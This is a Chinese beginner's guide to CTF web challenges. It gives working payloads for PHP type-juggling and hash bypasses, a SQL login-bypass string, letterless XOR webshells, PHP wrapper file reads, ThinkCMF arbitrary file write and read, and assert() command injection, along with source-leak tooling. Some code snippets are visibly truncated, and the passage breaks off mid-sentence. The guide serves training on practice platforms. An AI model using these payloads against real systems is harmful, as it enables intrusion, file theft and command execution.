相关推荐recommended
CTF中Web题目的各种基础的思路-----入门篇十分的详细
作者:mmseoamin日期:2023-11-30

我期间也考察很多人的,但搞这个的确实有点少,希望这篇可以大家一点帮助,这篇文章也借鉴一些人的文章,还有很多东西,我没搞,确实有点麻烦,但以后还会不断更新的,希望大家在web这里少走一点弯路,还有一些东西我不知道该怎么写,但大家以后肯定会接触的。

这里给大家一些关于CTF的一些平台

新手:

ctfshow 这个吧,还是推荐富哥吧,里面有web入门的题目但是要钱,总体还是不错的。

CTFHub 这个里面题目或许不是很多,但是那个技能树真的可以给大家一个方向,主要推荐那个技能树
PwnTheBox这个对于新手也是十分好的,适合新手刷题,大部分题目都直接有wp,而且靶机随便关随便开真的好,额,但是吧就是说是不是网站崩了,可能是创作者在国外的缘故吧。

有些经验的:BUUCTF题目很多,而且有很多比赛

攻防世界和BUUCTF差不多,但是感觉吧比buu要难

NSSCTF 新平台很不错,有很多新题目

目录

基础知识类题目

查看网页源代码

发送HTTP请求

不常见类型的请求发送


HTTP头相关的题目

查看响应头

修改请求头、伪造Cookie


备份文件下载

Git源码泄露

svn源码泄露

HG泄露


文件上传和sql注入关于这两个要搞得实在有点多,我就搞个文件,要用搞得都在文件中,放在百度网盘中了链接:文件上传的注意点及绕过&sql注入的一些东西提取码:1234


Js代码

Python爬虫信息处理


PHP代码审计

PHP弱类型hash比较

数组返回NULL绕过

字符串绕过

科学计数法绕过

变量覆盖漏洞

正则表达式相关

ereg正则%00截断

数组绕过

单引号绕过preg_match()正则匹配

不含数字与字母的WebShell

php使用短链接

php读取文件

伪协议

ThinkCMF2.2.x,1.6.0,2.1.0漏洞

命令执行漏洞

assert()函数引起的命令执行


XSS题目


绕过waf

长度限制

双写

等价替代

URL编码绕过

Linux命令使用反斜杠绕过

URL二次解码绕过

数组绕过


SQL注入

使用sqlmap

python 模板注入

ssrf


基础知识类题目

考察基本的查看网页源代码、HTTP请求、修改页面元素等。

实际做题的时候基本都是和其他更复杂的知识结合起来出现。

还有要记住一些=0的试试可以改成1,因为0是false,1是ture

姿势:恶补基础知识就行

查看网页源代码

按F12就都看到了,flag一般都在注释里,有时候注释里也会有一条hint或者是对解题有用的信息。

  • Bugku web2
  • Bugku web3

    发送HTTP请求

    可以用hackbar,有的也可以写脚本。

    • Bugku web基础$_GET
    • Bugku web基础$_POST
    • Bugku 点击一百万次

      举个写脚本的例子(题目是Bugku web基础$_POST):

      import requests
      r = requests.post('http://123.206.87.240:8002/post/', data={'what' : 'flag'})
      print(r.text)
      

      不常见类型的请求发送

      以前做过一道题考OPTIONS请求

      不过如果要发送这类请求,写一个脚本应该就能解决了。

      可以使用burpsuite,给请求方式,列如:请求方式那一题需要把GET方式改成CTFHUB,可以用burpsuite改,可以使用curl -X CTFHUB 网址

      CTFHub 技能树 请求方式

      HTTP头相关的题目

      主要是查看和修改HTTP头。

      目前做过的Web题目有很大一部分都是与HTTP头相关的,而且这种题目也相当常见,不和其他知识结合的情况下也算是属于基础题的范畴吧。

      姿势:不同的类型有不同的利用方法,基本都离不开抓包改包,有些简单的也可以利用浏览器F12的网络标签解决。但是最根本的应对策略,是熟悉一些常见请求头的格式、作用等,这样题目考到的时候就很容易知道要怎样做了。

      查看响应头

      有时候响应头里会有hint或者题目的关键信息,也有的时候会直接把flag放在响应头里给你,但是直接查看响应头拿flag的题目并不多,因为太简单了。

      只是查看的话,可以不用抓包,用F12的“网络”标签就可以解决了。

      • Bugku 头等舱

        修改请求头、伪造Cookie

        常见的有set-cookie、XFF和Referer,总之考法很灵活,做法比较固定,知道一些常见的请求头再根据题目随机应变就没问题了。

        有些题目还需要伪造Cookie,根据题目要求做就行了。

        可以用BurpSuite抓包,也可以直接在浏览器的F12“网络”标签里改,同样也有一些可以通过

        • 实验吧 头有点大
        • Bugku 程序员本地网站
        • Bugku 管理员系统
        • XCTF xff_referer

          备份文件下载

          通常是index.php.swp、.index.php.swp、www.zip、robots.txt之类的

          注意看不出来是什么可以放到kali里面试试,例如:vim的缓存文件用vim -r 可以恢复,.DS_Store文件可以用cat命令看看有没有什么文件,好像也有脚本可以修复

          Git源码泄露

          flag一般在源码的某个文件里,但也有和其他知识结合、需要进一步利用的情况,比如XCTF社区的mfw这道题。

          可以使用dirsearch先扫出来.git

          再用Githack, cd Githack

          python2 Githack.py 网址/.git

          git log那个文件看起来可能是flag,看看他的commit的后面的一串字符串使用

          使用:git diff 那一串字符串,如果没有尝试git stash list看看有没有文件,有的话试试git stash apply或者git stash pop

          可以看http://t.zoukankan.com/songwufan-p-13866101.html

          姿势:GitHack一把梭

          注:GitHack需要自己下

          • XCTF mfw

            svn源码泄露

            flag一般在某个文件中

            可以使用dirsearch扫出来.svn

            用dvcs-ripper(需要自己下载),cd dvcs-ripper

            ./rip-svn.pl -u 网址/.svn

            因为.svn是隐藏文件夹,要用ls -al看,找到.svn/pristine/df或bf用cat查看文件

            可以看https://blog.csdn.net/SinAlone/article/details/118480556

            HG泄露

            和svn泄露差不多

            也是使用dvcs-ripper

            用./rip-hg.pl -u 网址/.hg

            文件上传和sql注入关于这两个要搞得实在有点多,我就搞个文件,要用搞得都在文件中,放在百度网盘中了

            链接:文件上传的注意点及绕过&sql注入的一些东西

            提取码:1234

            Js代码

            • PwnTheBox 2048

              通常是找main的js脚本,查找game找到结束的函数就可以了

              F12选择Network(网络)刷新一下CTF中Web题目的各种基础的思路-----入门篇十分的详细,第1张

              看到了main2048.js应该这就是main

              点一下搜索gameCTF中Web题目的各种基础的思路-----入门篇十分的详细,第2张

              看到了表情包,这个应该是js代码
              CTF中Web题目的各种基础的思路-----入门篇十分的详细,第3张

              Python爬虫信息处理

              这类题目一般都是给一个页面,页面中有算式或者是一些数字,要求在很短的时间内求出结果并提交,如果结果正确就可以返回flag。

              因为所给时间一般都很短而且计算比较复杂,所以只能写脚本。这种题目的脚本一般都需要用到requests库和BeautifulSoup库(或者re库(正则表达式)),个人感觉使用BeautifulSoup简单一些。

              姿势:requests库和BeautifulSoup库熟练掌握后,再多做几道题或者写几个爬虫的项目,一般这类题目就没有什么问题了。主要还是对BeautifulSoup的熟练掌握,另外还需要一点点web前端(HTML)的知识。

              • Bugku 秋名山老司机
                #这道题的脚本如下,还可以继续优化#经常出现执行了但是不弹flag的情况,多试几次就行了import requests
                import re
                 
                s = requests.Session()  
                url='https://1933-591a9bbb-fca2-46c6-a6d8-52b5970cc01a.do-not-trust.hacking.run/' #把网址定义给url参数
                r=s.get(url) #以get的方式,去访问
                r.encoding = 'utf-8' #可有可无吧,定义编码形式为utf-8,一些题是必须,加一个以防万一
                a=r.text #把那个页面定义给a#print(a)
                n = re.findall(r'\d(.*?)=',a)[0] #利用re正则,把算式匹配出来
                o = s.post(url,data={'value':n})  #提交结果print (o.text)  #输出返回结果
                • 实验吧 速度爆破

                  HGAME2019的部分题目似乎还出现了反爬虫措施。

                  PHP代码审计

                  代码审计覆盖面特别广,分类也很多,而且几乎什么样的比赛都会有,算是比较重要的题目类型之一吧。

                  姿势:具体问题具体分析,归根结底还是要熟练掌握PHP这门语言,了解一些常见的会造成漏洞的函数及利用方法等。

                  PHP弱类型hash比较

                  这是代码审计最基础的题目了,也比较常见。

                  典型代码:

                  if(md5($a) == md5($b)) {    //注意两个等号“==”
                      echo $flag;
                  }
                  

                  加密函数也有可能是sha1或者其他的,但是原理都是不变的。

                  这个漏洞的原理如下:

                  == 在进行比较的时候,会先将两边的变量类型转化成相同的,再进行比较。

                  0e在比较的时候会将其视作为科学计数法,所以无论0e后面是什么,0的多少次方还是0。

                  所以只要让a和b在经过相应的函数加密之后都是以0e开头就可以。

                  以下是一些md5加密后开头为0e的字符串:

                  QNKCDZO
                  0e830400451993494058024219903391
                  s878926199a
                  0e545993274517709034328855841020
                    
                  s155964671a
                  0e342768416822451524974117254469
                    
                  s214587387a
                  0e848240448830537924465865611904
                    
                  s214587387a
                  0e848240448830537924465865611904
                    
                  s878926199a
                  0e545993274517709034328855841020
                    
                  s1091221200a
                  0e940624217856561557816327384675
                    
                  s1885207154a
                  0e509367213418206700842008763514
                  aabg7XSs
                  

                  还有一个十分特殊的字符串

                  0e215962017它MD5以后还0e开头

                  还有一个字符串使用另个一个地方和sql有关ffifdyop

                  md5(ffifdyop,32) = 276f722736c95d99e921722cf9ed621c  转成字符串为'or'6�]��!r,��b

                  可以利用这个越过一些登入

                  数组返回NULL绕过

                  PHP绝大多数函数无法处理数组,向md5函数传入数组类型的参数会使md5()函数返回NULL(转换后为False),进而绕过某些限制。

                  如果上面的代码变成:

                  if(md5($a) === md5($b)) {       //两个等号变成三个
                      echo $flag;
                  }
                  

                  那么利用弱类型hash比较缺陷将无法绕过,这时可以使用数组绕过。

                  传入?a[]=1&b[]=2就可以成功绕过判断。

                  这样的方法也可以用来绕过sha1()等hash加密函数相关的判断,也可以绕过正则判断,可以根据具体情况来灵活运用。

                  字符串绕过

                  举例

                  if(isset($_POST['passwd'])) {
                      $passwd=$_POST['passwd'];
                      if (!is_numeric($passwd))
                      {
                              if($passwd==123456)
                              {
                                  echo '1';
                                  hiaglight_file('flag.php');
                              }
                              else
                              {
                                  echo "2";
                              }
                       }
                       else{
                              echo "3";
                       }
                  

                  如果检查passwd传进来的值是只是数字或字母,就输出3,是字符串则进入下一个,又因为passwd要等于123456,但是两个等号是弱比较,所以传进去123456a就行了

                  科学计数法绕过

                  遇到这种(strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)类似的

                  可以用1e9之类的来绕过这是用科学计数法来搞

                  变量覆盖漏洞

                  extract()函数存在变量覆盖漏洞

                  遇到这种
                  CTF中Web题目的各种基础的思路-----入门篇十分的详细,第4张

                  可以直接用?shiyan=&flag=得到flag

                  正则表达式相关

                  ereg正则%00截断

                  ereg函数存在NULL截断漏洞,使用NULL可以截断过滤,所以可以使用%00截断正则匹配。

                  • Bugku ereg正则%00截断

                    数组绕过

                    正则表达式相关的函数也可以使用数组绕过过滤,绕过方法详见数组返回NULL绕过。

                    上面那道题也可以用数组绕过。

                    单引号绕过preg_match()正则匹配

                    在每一个字符前加上单引号可以绕过preg_match的匹配,原理暂时不明。

                    例如有如下代码:

                    payload:p='Z'm'x'h'Z'y'5'w'a'H'A'=

                    不含数字与字母的WebShell

                    如果题目使用preg_match()过滤掉了所有的数字和字母,但是没有过滤PHP的变量符号$,可以考虑使用这种方法。

                    典型代码:

                    50){ 
                           die("Too Long."); 
                      } 
                       if(preg_match("/[A-Za-z0-9_]+/",$code)){ 
                           die("Not Allowed."); 
                      } 
                       @eval($code); 
                    }else{ 
                       highlight_file(__FILE__); 
                    } 
                    //$hint = "php function getFlag() to get flag"; ?>

                    这种方法的核心是字符串的异或操作。

                    爆破脚本:

                    chr1 = ['@', '!', '"', '#', '$', '%', '&', '\'', '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '[', '\\', ']', '^', '_', '`', '{', '|', '}', '~']
                    chr2 = ['@', '!', '"', '#', '$', '%', '&', '\'', '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '[', '\\', ']', '^', '_', '`', '{', '|', '}', '~']
                    for i in chr1 :
                        for j in chr2 :
                            print(i + 'xor' + j + '=' + (chr(ord(i) ^ ord(j))))
                    

                    根据题目的要求,用异或出来的字符串拼出合适的Payload,并放在PHP变量中执行。变量名可以用中文。

                    php使用短链接

                    题目使用preg_match()过滤掉了所有的数字和字母,过滤了PHP的变量符号$,可以考虑使用这种方法。

                    示例代码:

                    35){
                            die("Long.");
                        }
                        if(preg_match("/[A-Za-z0-9_$]+/",$code)){
                            die("NO.");
                        }
                        eval($code);}else{
                        highlight_file(__FILE__);}
                       ?>

                    必须是linux环境,因为要靠通配符

                    *可以代替0个及以上任意字符

                    ?可以代表1个任意字符

                    列如:/tmp/php就可以表示为/*/???或/???/???

                    可以详细了解一下:php短链接

                    因为还可以使用[^X]之类的

                    • CTFhub hate_php

                      php读取文件

                      var_dump(scandir(chr(47))) = system(ls /)

                      scandir是列出目录中的文件和目录

                      file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103)) = system(cat /f1ag)

                      file_get_contents() 把整个文件读入一个字符串中

                      伪协议

                      读取文件

                      PHP://filter/read=convert.base64-encode/resource=文件

                      执行php代码

                      使用php://input 它要在POST传数据

                      列如:?file=php://input

                      POST传,则就执行了ls /

                      data协议

                      列如:((file_get_contents($text,'r')==="welcome to the zjctf")

                      可以用data协议写入那一串字符串

                      data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

                      ThinkCMF2.2.x,1.6.0,2.1.0漏洞

                      payload1:?a=fetch&templateFile=public/index&prefix=''&content=file_put_contents('test.php','') 任意文件写入

                      payload2: ?a=display&templateFile=README.md 任意文件读取

                      看看https://www.yuque.com/u390550/hsy6gq/xggm0c

                      命令执行漏洞

                      assert()函数引起的命令执行

                      assert函数的参数为字符串时,会将字符串当做PHP命令来执行。

                      例如:assert('phpinfo()')相当于执行

                      以一道题目为例:

                      本题目中题目文件夹下放置了一个隐藏的flag文件。

                      解法:

                      构造闭合 file_exists()函数,并使assert()执行恶意代码。

                      Linux命令ls -a可用于查看该目录下所有文件,包括隐藏文件。

                      payload:

                      1. ?file=123') or system('ls -a');#
                      2. ?file=123') or system('cat .ffll44gg');#

                      XSS题目

                      这类题目会涉及到三种XSS类型,具体类型要根据题目来判断。一般都是向后台发送一个带有XSS Payload的文本,在返回的Cookie中含有flag,解法是在XSS Payload。

                      这类题目一般都会带有过滤和各种限制,需要了解一些常用的绕过方法。

                      姿势:XSS归根结底还是JavaScript,JavaScript的威力有多大,XSS的威力就有多大。要知道一些常用的XSS Payload,还要把三类XSS的原理弄明白。做题时需要用到XSS平台,网上有公用的,也可以自己在VPS上搭一个。

                      这里可以给大家推荐一个XSS平台

                      • JavisOJ babyxss

                        绕过waf

                        其实绝大多数比较难的题目多多少都会对输入有过滤,毕竟在现实的网络中肯定是会对输入进行限制的,但是这里还是把过滤单独列出来了。

                        一些限制只能是数字,不能输入字母的可以尝试添加空格,例如:?num=a(不行) 换成 ? num=a(可以)

                        适用于php,因为php会先处理空格,就绕过了waf

                        姿势:多掌握一些不同的绕过方法。

                        长度限制

                        有些题目会要求输入较长的文本,但对文本的长度进行了限制。

                        对于这种题目,既可以用BurpSuite抓包改包绕过,也可以直接在F12里改页面源代码。

                        • Bugku 计算器(修改页面源代码)
                        • DVWA 存储型XSS的标题栏会对长度进行限制,使用BurpSuite抓包绕过。

                          双写

                          双写可以绕过对输入内容过滤的单次判断,在XSS、SQL注入和PHP代码审计的题目中比较常见。

                          双写顾名思义就是将被过滤的关键字符写两遍,比如,如果要添加XSS Payload,又需要插入